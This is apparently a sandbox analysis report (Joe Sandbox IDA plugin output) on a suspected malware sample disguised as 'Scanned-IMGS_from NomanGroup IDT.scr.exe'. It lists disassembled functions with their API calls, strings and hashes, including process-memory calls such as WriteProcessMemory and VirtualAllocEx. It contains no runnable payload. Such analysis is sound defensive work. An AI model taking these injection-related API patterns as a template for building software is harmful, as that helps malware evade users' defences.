Associated: 00000000.00000002.1702982965.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.00000000004EC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.0000000000512000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703313457.000000000051C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703414600.0000000000524000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_450000_Scanned-IMGS_from NomanGroup IDT.jbxd

Similarity

API ID: ByteCharErrorLastMultiWide__dosmaperr
String ID: .G
API String ID: 2434981716-1092520701
Opcode ID: bbae34bdba125c8f7410ffb479ca44e916e22b6dee9fff26c5a26de64fab5ecf
Instruction ID: 12ada02025360ea328d86a3cdbf68ca72813bcb5ab11bd5f0a650456d045d90a
Opcode Fuzzy Hash: bbae34bdba125c8f7410ffb479ca44e916e22b6dee9fff26c5a26de64fab5ecf
Instruction Fuzzy Hash: DB415E70504045AFDB24AF14C880A7E7FA6DFC6304B2849AFF89587683DE399C039758

Function 004B2716 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 121windowCOMMON

Download Yara Rule

APIs

Part of subcall function 004BB403: WriteProcessMemory.KERNEL32(?,?,?,00000000,00000000,00000000,?,004B21D0,?,?,00000034,00000800,?,00000034), ref: 004BB42D

SendMessageW.USER32(?,00001104,00000000,00000000), ref: 004B2760

Part of subcall function 004BB3CE: ReadProcessMemory.KERNEL32(?,?,?,00000000,00000000,00000000,?,004B21FF,?,?,00000800,?,00001073,00000000,?,?), ref: 004BB3F8

Part of subcall function 004BB32A: GetWindowThreadProcessId.USER32(?,?), ref: 004BB355
Part of subcall function 004BB32A: OpenProcess.KERNEL32(00000438,00000000,?,?,?,004B2194,00000034,?,?,00001004,00000000,00000000), ref: 004BB365
Part of subcall function 004BB32A: VirtualAllocEx.KERNEL32(00000000,00000000,?,00001000,00000004,?,?,004B2194,00000034,?,?,00001004,00000000,00000000), ref: 004BB37B

SendMessageW.USER32(?,00001111,00000000,00000000), ref: 004B27CD
SendMessageW.USER32(?,00001111,00000000,00000000), ref: 004B281A

Strings

@, xrefs: 004B2832

Memory Dump Source

Source File: 00000000.00000002.1703040739.0000000000451000.00000020.00000001.01000000.00000003.sdmp, Offset: 00450000, based on PE: true

Associated: 00000000.00000002.1702982965.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.00000000004EC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.0000000000512000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703313457.000000000051C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703414600.0000000000524000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_450000_Scanned-IMGS_from NomanGroup IDT.jbxd

Similarity

API ID: Process$MessageSend$Memory$AllocOpenReadThreadVirtualWindowWrite
String ID: @
API String ID: 4150878124-2766056989
Opcode ID: d191273f738626435f18ea34aefb4d87d6d151ff54e4392306b27685ca8ee68c
Instruction ID: f591848d7f6772c1c9a46a8bf0ecaa65ec13386a0ca3c1696fcfe18ab0d8be80
Opcode Fuzzy Hash: d191273f738626435f18ea34aefb4d87d6d151ff54e4392306b27685ca8ee68c
Instruction Fuzzy Hash: 08413D72900218AFDB10DFA4CD85AEEBBB8EF09704F00405AFA55B7191DBB46E45CBA4

Function 0048172E Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 115COMMON

Download Yara Rule

APIs

GetModuleFileNameW.KERNEL32(00000000,C:\Users\user\Desktop\Scanned-IMGS_from NomanGroup IDT.scr.exe,00000104), ref: 00481769
_free.LIBCMT ref: 00481834
_free.LIBCMT ref: 0048183E

Strings

C:\Users\user\Desktop\Scanned-IMGS_from NomanGroup IDT.scr.exe, xrefs: 00481760, 00481767, 00481796, 004817CE

Memory Dump Source

Source File: 00000000.00000002.1703040739.0000000000451000.00000020.00000001.01000000.00000003.sdmp, Offset: 00450000, based on PE: true

Associated: 00000000.00000002.1702982965.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.00000000004EC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.0000000000512000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703313457.000000000051C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703414600.0000000000524000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_450000_Scanned-IMGS_from NomanGroup IDT.jbxd

Similarity

API ID: _free$FileModuleName
String ID: C:\Users\user\Desktop\Scanned-IMGS_from NomanGroup IDT.scr.exe
API String ID: 2506810119-522377740
Opcode ID: 3a06ff13fd11fb8cc3296c10f1b22824bd9229374a762556be8340c8de8b7a62
Instruction ID: 0fb4a1dd96e239b9546a857600dbd312625bd0a1d7c15d0a78e11ed31f87c8a6
Opcode Fuzzy Hash: 3a06ff13fd11fb8cc3296c10f1b22824bd9229374a762556be8340c8de8b7a62
Instruction Fuzzy Hash: 95318275A00218EBDB21FB9A9881D9FBBFCEF95310F1045ABF80497321D6744E46DB98

Function 004BC27D Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 114windowCOMMON

Download Yara Rule

APIs

GetMenuItemInfoW.USER32(00000004,00000000,00000000,?), ref: 004BC306
DeleteMenu.USER32(?,00000007,00000000), ref: 004BC34C
DeleteMenu.USER32(?,00000000,00000000,?,00000000,00000000,00521990,01298428), ref: 004BC395

Strings

0, xrefs: 004BC2DF

Memory Dump Source

Source File: 00000000.00000002.1703040739.0000000000451000.00000020.00000001.01000000.00000003.sdmp, Offset: 00450000, based on PE: true

Associated: 00000000.00000002.1702982965.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.00000000004EC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.0000000000512000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703313457.000000000051C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703414600.0000000000524000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_450000_Scanned-IMGS_from NomanGroup IDT.jbxd

Similarity

API ID: Menu$Delete$InfoItem
String ID: 0
API String ID: 135850232-4108050209
Opcode ID: 923632adbda735f2458660c7adf44e1a87e91ac3b37b641cfaea51abe48f43c9
Instruction ID: fb722bf55f832e41b9e2ee36283a0c9e4de3ac023b55fe4312288e3c6403e778
Opcode Fuzzy Hash: 923632adbda735f2458660c7adf44e1a87e91ac3b37b641cfaea51abe48f43c9
Instruction Fuzzy Hash: 58419F312043419FD720DF25D8C4B9BBBE8AB85314F04865EFCA5972D1D778A905CB6A

Function 004E4416 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 106COMMON

Download Yara Rule

APIs

SetWindowPos.USER32(00000000,00000000,00000000,00000000,00000000,00000000,00000013,?,?,SysTreeView32,004ECC08,00000000,?,?,?,?), ref: 004E44AA
GetWindowLongW.USER32 ref: 004E44C7
SetWindowLongW.USER32(?,000000F0,00000000), ref: 004E44D7

Strings

SysTreeView32, xrefs: 004E447C

Memory Dump Source

Source File: 00000000.00000002.1703040739.0000000000451000.00000020.00000001.01000000.00000003.sdmp, Offset: 00450000, based on PE: true

Associated: 00000000.00000002.1702982965.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.00000000004EC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.0000000000512000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703313457.000000000051C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703414600.0000000000524000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_450000_Scanned-IMGS_from NomanGroup IDT.jbxd

Similarity

API ID: Window$Long
String ID: SysTreeView32
API String ID: 847901565-1698111956
Opcode ID: d545433f41451448d049f68d78969cfb767a6ac5c823a14da744dfc07efc0779
Instruction ID: 93f3a3bd5ae080706ca5eb6d697e04d67d4e0ab656ba14b7f2ea84dffcfbf11d
Opcode Fuzzy Hash: d545433f41451448d049f68d78969cfb767a6ac5c823a14da744dfc07efc0779
Instruction Fuzzy Hash: EA31AF31200245AFDB208E39DC85BEB77A9EB48339F20472AF975922D1D778EC519754

Function 004B6E71 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 92memoryCOMMON

Download Yara Rule

APIs

SysReAllocString.OLEAUT32(?,?), ref: 004B6EED
VariantCopyInd.OLEAUT32(?,?), ref: 004B6F08
VariantClear.OLEAUT32(?), ref: 004B6F12

Strings

*jK, xrefs: 004B6E8B, 004B6E90, 004B6EF8

Memory Dump Source

Source File: 00000000.00000002.1703040739.0000000000451000.00000020.00000001.01000000.00000003.sdmp, Offset: 00450000, based on PE: true

Associated: 00000000.00000002.1702982965.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.00000000004EC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.0000000000512000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703313457.000000000051C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703414600.0000000000524000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_450000_Scanned-IMGS_from NomanGroup IDT.jbxd

Similarity

API ID: Variant$AllocClearCopyString
String ID: *jK
API String ID: 2173805711-3028746513
Opcode ID: 941af2c5788ecb76d3e84d66bfc04e24aa75d2d161d2ba2d7e4de1a3ddee4a45
Instruction ID: ec49f886c320d6dd6fca62aae52c1b907d0a51d075693ec2e150dbbd80b06ab2
Opcode Fuzzy Hash: 941af2c5788ecb76d3e84d66bfc04e24aa75d2d161d2ba2d7e4de1a3ddee4a45
Instruction Fuzzy Hash: DB31C171704245DBCB04AFA5E8909FE3775FF44309B1104AAF8064B2A2C73C9916CBE9

Function 004D304E Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 90networkCOMMON

Download Yara Rule

APIs

Part of subcall function 004D335B: WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,00000000,00000000,00000000,00000000,?,?,?,?,?,004D3077,?,?), ref: 004D3378

inet_addr.WSOCK32(?,?,?,?,?,00000000), ref: 004D307A
_wcslen.LIBCMT ref: 004D309B
htons.WSOCK32(00000000,?,?,00000000), ref: 004D3106

Strings

255.255.255.255, xrefs: 004D3095, 004D309A

Memory Dump Source

Source File: 00000000.00000002.1703040739.0000000000451000.00000020.00000001.01000000.00000003.sdmp, Offset: 00450000, based on PE: true

Associated: 00000000.00000002.1702982965.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.00000000004EC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.0000000000512000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703313457.000000000051C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703414600.0000000000524000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_450000_Scanned-IMGS_from NomanGroup IDT.jbxd

Similarity

API ID: ByteCharMultiWide_wcslenhtonsinet_addr
String ID: 255.255.255.255
API String ID: 946324512-2422070025
Opcode ID: 3d97110af4826a1ce0ca0e87d160dc534cc02494e364ce36fd2bca52cfab6d11
Instruction ID: c18cda244037d19329f4ed7053994d7c478a59b5f339687624df79f4f9c6094a
Opcode Fuzzy Hash: 3d97110af4826a1ce0ca0e87d160dc534cc02494e364ce36fd2bca52cfab6d11
Instruction Fuzzy Hash: 7031F539200202DFCB11CF28C595EAA77E0EF14319F24805BE9158B397C779EE46C766

Function 004E4653 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 87windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00000469,?,00000000), ref: 004E4705
SendMessageW.USER32(00000000,00000465,00000000,80017FFF), ref: 004E4713
DestroyWindow.USER32(00000000,00000000,?,?,?,00000000,msctls_updown32,00000000,00000000,00000000,00000000,00000000,00000000,?,?,00000000), ref: 004E471A

Strings

msctls_updown32, xrefs: 004E4684

Memory Dump Source

Source File: 00000000.00000002.1703040739.0000000000451000.00000020.00000001.01000000.00000003.sdmp, Offset: 00450000, based on PE: true

Associated: 00000000.00000002.1702982965.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.00000000004EC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.0000000000512000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703313457.000000000051C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703414600.0000000000524000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_450000_Scanned-IMGS_from NomanGroup IDT.jbxd

Similarity

API ID: MessageSend$DestroyWindow
String ID: msctls_updown32
API String ID: 4014797782-2298589950
Opcode ID: 84485e8790de5701b8d6cf6ae07cb336a16276cb89f6ee2401c3a72bfe57907f
Instruction ID: 8891b3ca2bbf2428691b741095714ea8b8f0b4e3ca2bb1fb8fd8f16489b0f591
Opcode Fuzzy Hash: 84485e8790de5701b8d6cf6ae07cb336a16276cb89f6ee2401c3a72bfe57907f
Instruction Fuzzy Hash: 0821A4B5600248AFDB10DF65DCC1DB737ADEF9A359B00015AFA009B351C734EC52DAA8

Function 004B95AD Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 85COMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 004B961D

Strings

#requireadmin, xrefs: 004B95D9
#notrayicon, xrefs: 004B95B7
#OnAutoItStartRegister, xrefs: 004B95F3

Memory Dump Source

Source File: 00000000.00000002.1703040739.0000000000451000.00000020.00000001.01000000.00000003.sdmp, Offset: 00450000, based on PE: true

Associated: 00000000.00000002.1702982965.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.00000000004EC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.0000000000512000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703313457.000000000051C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703414600.0000000000524000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_450000_Scanned-IMGS_from NomanGroup IDT.jbxd

Similarity

API ID: _wcslen
String ID: #OnAutoItStartRegister$#notrayicon$#requireadmin
API String ID: 176396367-2734436370
Opcode ID: 4568769ef3b90cd578b7d3507204ad7214426b1302ed87314169b771ad658d24
Instruction ID: b8360895cf14f1f69828dc713784d9851810ee1666a1d4a4f0fcd58b385a498a
Opcode Fuzzy Hash: 4568769ef3b90cd578b7d3507204ad7214426b1302ed87314169b771ad658d24
Instruction Fuzzy Hash: 9921387214411066C331AA269C02FFB73D89FA1314F24843FFB4997242EB5DAD46C2BE

Function 004E37B7 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 84windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00000180,00000000,?), ref: 004E3840
SendMessageW.USER32(?,00000186,00000000,00000000), ref: 004E3850
MoveWindow.USER32(00000000,?,?,?,?,00000000,?,?,Listbox,00000000,00000000,?,?,?,?,?), ref: 004E3876

Strings

Listbox, xrefs: 004E380F

Memory Dump Source

Source File: 00000000.00000002.1703040739.0000000000451000.00000020.00000001.01000000.00000003.sdmp, Offset: 00450000, based on PE: true

Associated: 00000000.00000002.1702982965.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.00000000004EC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.0000000000512000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703313457.000000000051C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703414600.0000000000524000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_450000_Scanned-IMGS_from NomanGroup IDT.jbxd

Similarity

API ID: MessageSend$MoveWindow
String ID: Listbox
API String ID: 3315199576-2633736733
Opcode ID: 40cd2c8033f37684fff2aeb7ca33bad3f382a6041162b0d067db20ff3c2c04b6
Instruction ID: 47b3242ad6ac8d22e0e53ea1f553c4aa4bf0e316f6a2cb385112c973037ae2a5
Opcode Fuzzy Hash: 40cd2c8033f37684fff2aeb7ca33bad3f382a6041162b0d067db20ff3c2c04b6
Instruction Fuzzy Hash: B52107726001587BEF129F56CC85FBB37AEEF89756F008125F9009B290C675DC52C794

Function 004C49F4 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 78COMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32(00000001), ref: 004C4A08
GetVolumeInformationW.KERNEL32(?,?,00007FFF,?,00000000,00000000,00000000,00000000), ref: 004C4A5C
SetErrorMode.KERNEL32(00000000,?,?,004ECC08), ref: 004C4AD0

Strings

%lu, xrefs: 004C4A6F

Memory Dump Source

Source File: 00000000.00000002.1703040739.0000000000451000.00000020.00000001.01000000.00000003.sdmp, Offset: 00450000, based on PE: true

Associated: 00000000.00000002.1702982965.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.00000000004EC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.0000000000512000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703313457.000000000051C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703414600.0000000000524000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_450000_Scanned-IMGS_from NomanGroup IDT.jbxd

Similarity

API ID: ErrorMode$InformationVolume
String ID: %lu
API String ID: 2507767853-685833217
Opcode ID: 8d688b984c08a888c94241b012db0d2d616dfa289169704cb85359101fed3191
Instruction ID: 12e05301e31500c13b0145791f7969b3953516f452707e331d66349464650420
Opcode Fuzzy Hash: 8d688b984c08a888c94241b012db0d2d616dfa289169704cb85359101fed3191
Instruction Fuzzy Hash: A3318E75A00108AFDB10DF54C985EAABBF8EF48308F1480AAF809DF252D775ED46CB65

Function 004E41EB Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 67windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00000405,00000000,00000000), ref: 004E424F
SendMessageW.USER32(?,00000406,00000000,00640000), ref: 004E4264
SendMessageW.USER32(?,00000414,0000000A,00000000), ref: 004E4271

Strings

msctls_trackbar32, xrefs: 004E4226

Memory Dump Source

Source File: 00000000.00000002.1703040739.0000000000451000.00000020.00000001.01000000.00000003.sdmp, Offset: 00450000, based on PE: true

Associated: 00000000.00000002.1702982965.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.00000000004EC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.0000000000512000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703313457.000000000051C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703414600.0000000000524000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_450000_Scanned-IMGS_from NomanGroup IDT.jbxd

Similarity

API ID: MessageSend
String ID: msctls_trackbar32
API String ID: 3850602802-1010561917
Opcode ID: 67ad1949356179ebdf6968b0e7c9ecd9d8eadf9aca7be1818153c7f03a24aaf5
Instruction ID: 6377e1175b83dc12853eb0bc913200c9675138ca598bdebc0e431fe825dc3af1
Opcode Fuzzy Hash: 67ad1949356179ebdf6968b0e7c9ecd9d8eadf9aca7be1818153c7f03a24aaf5
Instruction Fuzzy Hash: 9C113A312402887EEF205F3ACC45FAB3BACEFD5B65F010125FA44E2190C275DC119714

Function 004B2F52 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 67windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00456B57: _wcslen.LIBCMT ref: 00456B6A

Part of subcall function 004B2DA7: SendMessageTimeoutW.USER32(?,00000000,00000000,00000000,00000002,00001388,?), ref: 004B2DC5
Part of subcall function 004B2DA7: GetWindowThreadProcessId.USER32(?,00000000), ref: 004B2DD6
Part of subcall function 004B2DA7: GetCurrentThreadId.KERNEL32 ref: 004B2DDD
Part of subcall function 004B2DA7: AttachThreadInput.USER32(00000000,?,00000000,00000000), ref: 004B2DE4

GetFocus.USER32 ref: 004B2F78

Part of subcall function 004B2DEE: GetParent.USER32(00000000), ref: 004B2DF9

GetClassNameW.USER32(?,?,00000100), ref: 004B2FC3
EnumChildWindows.USER32(?,004B303B), ref: 004B2FEB

Strings

%s%d, xrefs: 004B2FFF

Memory Dump Source

Source File: 00000000.00000002.1703040739.0000000000451000.00000020.00000001.01000000.00000003.sdmp, Offset: 00450000, based on PE: true

Associated: 00000000.00000002.1702982965.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.00000000004EC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.0000000000512000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703313457.000000000051C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703414600.0000000000524000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_450000_Scanned-IMGS_from NomanGroup IDT.jbxd

Similarity

API ID: Thread$AttachChildClassCurrentEnumFocusInputMessageNameParentProcessSendTimeoutWindowWindows_wcslen
String ID: %s%d
API String ID: 1272988791-1110647743
Opcode ID: e4f51d88b61ce3c93fbd669f20b36f717373a6482a58f367a081a039c17a28dd
Instruction ID: 89e7441748b1950336ce47d6e019df134cb00b731a5082e718c70f9d74a9cc9d
Opcode Fuzzy Hash: e4f51d88b61ce3c93fbd669f20b36f717373a6482a58f367a081a039c17a28dd
Instruction Fuzzy Hash: 1D11B7716002056BDF147F728CC5EEE376AAF94309F04407AFD099B253DE78594A8B74

Function 004E5882 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 47windowCOMMON

Download Yara Rule

APIs

GetMenuItemInfoW.USER32(?,?,?,00000030), ref: 004E58C1
SetMenuItemInfoW.USER32(?,?,?,00000030), ref: 004E58EE
DrawMenuBar.USER32(?), ref: 004E58FD

Strings

0, xrefs: 004E588F

Memory Dump Source

Source File: 00000000.00000002.1703040739.0000000000451000.00000020.00000001.01000000.00000003.sdmp, Offset: 00450000, based on PE: true

Associated: 00000000.00000002.1702982965.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.00000000004EC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.0000000000512000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703313457.000000000051C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703414600.0000000000524000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_450000_Scanned-IMGS_from NomanGroup IDT.jbxd

Similarity

API ID: Menu$InfoItem$Draw
String ID: 0
API String ID: 3227129158-4108050209
Opcode ID: 65d3f4ffe0efb2a5e014f07114c8a734d4dce0a6e2655594a3174ab78354a6b2
Instruction ID: c5a0b70e32c13e64adb58e072dabd99691e898e8ae38c094a3bdf35c487bf04f
Opcode Fuzzy Hash: 65d3f4ffe0efb2a5e014f07114c8a734d4dce0a6e2655594a3174ab78354a6b2
Instruction Fuzzy Hash: 8001A171500258EFDB109F12DC84BEFBBB4FB45369F0080AAE848DA252DB348A85DF25

Function 004AD3A0 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 30libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32(?,GetSystemWow64DirectoryW), ref: 004AD3BF
FreeLibrary.KERNEL32 ref: 004AD3E5

Strings

GetSystemWow64DirectoryW, xrefs: 004AD3B9
X64, xrefs: 004AD2A8

Memory Dump Source

Source File: 00000000.00000002.1703040739.0000000000451000.00000020.00000001.01000000.00000003.sdmp, Offset: 00450000, based on PE: true

Associated: 00000000.00000002.1702982965.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.00000000004EC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.0000000000512000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703313457.000000000051C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703414600.0000000000524000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_450000_Scanned-IMGS_from NomanGroup IDT.jbxd

Similarity

API ID: AddressFreeLibraryProc
String ID: GetSystemWow64DirectoryW$X64
API String ID: 3013587201-2590602151
Opcode ID: fa8d4e6e908b8d40ed6437898732dff4e8e5a1f8ad5fff5d8df2b470047aab5c
Instruction ID: ec9e00b7bca41079d5936d293f135289f3c8a3bce73338aa0b13a84080458f79
Opcode Fuzzy Hash: fa8d4e6e908b8d40ed6437898732dff4e8e5a1f8ad5fff5d8df2b470047aab5c
Instruction Fuzzy Hash: 84F02722C01A2187D72142105CD4B9A7220BF32701B548197E803E5609E71CCC46C6CF

Function 004B007F Relevance: 6.3, APIs: 4, Instructions: 322COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1703040739.0000000000451000.00000020.00000001.01000000.00000003.sdmp, Offset: 00450000, based on PE: true

Associated: 00000000.00000002.1702982965.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.00000000004EC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.0000000000512000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703313457.000000000051C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703414600.0000000000524000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_450000_Scanned-IMGS_from NomanGroup IDT.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 69822b61fe5a4c332058f521aefe0a95c387b74d2f0858ddb121088c5075d2bb
Instruction ID: db4366a3721292a3dc09a66d3fb9b9faa28493bd8611348459f99037ebfe38f2
Opcode Fuzzy Hash: 69822b61fe5a4c332058f521aefe0a95c387b74d2f0858ddb121088c5075d2bb
Instruction Fuzzy Hash: C5C15D75A00206EFDB18CFA8C898AAFB7B5FF48305F108599E905EB251D735DD42CBA4

Function 004D342E Relevance: 6.3, APIs: 4, Instructions: 257COMMON

Download Yara Rule

APIs

CoInitialize.OLE32(00000000), ref: 004D3459
CoUninitialize.OLE32 ref: 004D3463
VariantInit.OLEAUT32(?), ref: 004D346E
VariantClear.OLEAUT32(?), ref: 004D371B

Memory Dump Source

Source File: 00000000.00000002.1703040739.0000000000451000.00000020.00000001.01000000.00000003.sdmp, Offset: 00450000, based on PE: true

Associated: 00000000.00000002.1702982965.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.00000000004EC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.0000000000512000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703313457.000000000051C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703414600.0000000000524000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_450000_Scanned-IMGS_from NomanGroup IDT.jbxd

Similarity

API ID: Variant$ClearInitInitializeUninitialize
String ID:
API String ID: 1998397398-0
Opcode ID: c2d073fe95115abe4da673a65ef5e727f44be1f66aca3f4cfd58f5dbedab2156
Instruction ID: 0e02a377e836e953ef9fdf55e33a8384c10d9247218eeff7547be16bfd7c82c8
Opcode Fuzzy Hash: c2d073fe95115abe4da673a65ef5e727f44be1f66aca3f4cfd58f5dbedab2156
Instruction Fuzzy Hash: B5A15A75204200AFC710DF25C495A2AB7E5FF88759F04885EF98A9B362DB38ED05CB5A

Function 004B0436 Relevance: 6.2, APIs: 4, Instructions: 230COMMON

Download Yara Rule

APIs

ProgIDFromCLSID.OLE32(?,00000000,?,00000000,00000800,00000000,?,004EFC08,?), ref: 004B05F0
CoTaskMemFree.OLE32(00000000,00000000,?,00000000,00000800,00000000,?,004EFC08,?), ref: 004B0608
CLSIDFromProgID.OLE32(?,?,00000000,004ECC40,000000FF,?,00000000,00000800,00000000,?,004EFC08,?), ref: 004B062D
